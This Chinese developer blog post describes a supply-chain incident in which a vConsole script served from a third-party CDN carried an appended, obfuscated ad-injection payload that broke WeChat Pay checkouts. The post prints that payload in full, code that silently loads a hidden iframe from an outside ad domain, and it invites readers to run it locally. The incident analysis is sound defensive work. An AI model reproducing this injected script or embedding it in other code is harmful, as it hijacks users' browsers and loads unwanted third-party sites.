慎重!第三方依赖包里居然有投毒代码
本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。
起因
生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户都会遇到,只是极个别的用户会遇到。
查找问题
下面是排查此问题时的步骤:
- review代码,代码逻辑没问题。
- 分析反馈问题的用户画像,发现他们都是分布在不同省域下面的,不是发生在同一个地区,完全没有规律可循。
- 偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库
vConsole
这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole
的悬浮图标这东西也不会影响用户操作,没怎么在意。 - 然而最不在意的内容,往往才是导致问题的关键要素。
- 发现
vConsole
不是通过安装依赖包的方式加载的,而是在index.html
页面用script标签
引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。 - 于是开始针对这个地址进行排查,在一系列
令绝大部分掘友目瞪口呆
的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole
源代码有问题,里面注入了一段跟vConsole
代码不相关的恶意脚本代码。
有意思的是,这段恶意脚本代码不会一直存在。同样一个地址,原页面刷新后,里面的恶意脚本代码就会消失。
感兴趣的掘友可以在自己电脑上是试一试。vConsole
地址
注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。
下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole
源码,我用红框圈住的就是恶意代码,它在vConsole
源码文件最下方注入了一段恶意代码(广告相关的代码)。
这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。
全部代码如下:
var _0x30f682 = _0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
var _0x2f04e2 = _0x2e91
, _0x52ac4 = _0x3a24cc();
while (!![]) {
try {
var _0x5e3cb2 = parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
if (_0x5e3cb2 === _0x4f1e43)
break;
else
_0x52ac4['push'](_0x52ac4['shift']());
} catch (_0x4e013c) {
_0x52ac4['push'](_0x52ac4['shift']());
}
}
}(_0xabf8, 0x5b7f0));
var __encode = _0x30f682(0xd5)
, _a = {}
, _0xb483 = [_0x30f682(0xb5), _0x30f682(0xbf)];
(function(_0x352778) {
_0x352778[_0xb483[0x0]] = _0xb483[0x1];
}(_a));
var __Ox10e985 = [_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];
function _0x2e91(_0x594697, _0x52ccab) {
var _0xabf83b = _0xabf8();
return _0x2e91 = function(_0x2e910a, _0x2d0904) {
_0x2e910a = _0x2e910a - 0xb3;
var _0x5e433b = _0xabf83b[_0x2e910a];
return _0x5e433b;
}
,
_0x2e91(_0x594697, _0x52ccab);
}
window[__Ox10e985[0x0]] = function() {
var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe],
_0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10],
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013 = __Ox10e985[0x13],
_0x49aa51 = function(_0x2c78b5) {
typeof alert !== _0x385013 && alert(_0x2c78b5);
;typeof console !== _0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
}
,
_0x10b59e = function(_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
}
,
_0x2cab55 = _0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
try {
_0x2492c5 = __encode,
!(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === _0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
}({});
function _0xabf8() {
var _0x503a60 = ['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号,js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
_0xabf8 = function() {
return _0x503a60;
}
;
return _0xabf8();
}
我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。
打开浏览器调试工具,查看页面dom元素:
打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接...:
这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:
- 页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把
https://www.unionadjs.com/sdk.html
地址放进去。 - 随后在
iframe标签
中会无限制地创建div标签
(直到你的浏览器崩溃!)。 - 每个
div标签
中又会创建一个iframe标签
,而src
会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。
强大的ChatGPT
在这里不得不感叹ChatGPT
的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。
下面这个是中文版的:
总结
下面是我对这次问题的一个总结:
- 免费的不一定是最便宜的,也有可能是最贵的。
- 公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。
- 技术没有对和错,要看使用它的是什么人。
本次分享就到这里了,有描述的不对的地方欢迎掘友们纠正~
作者:娜个小部呀
来源:juejin.cn/post/7343691521601781760
来源:juejin.cn/post/7343691521601781760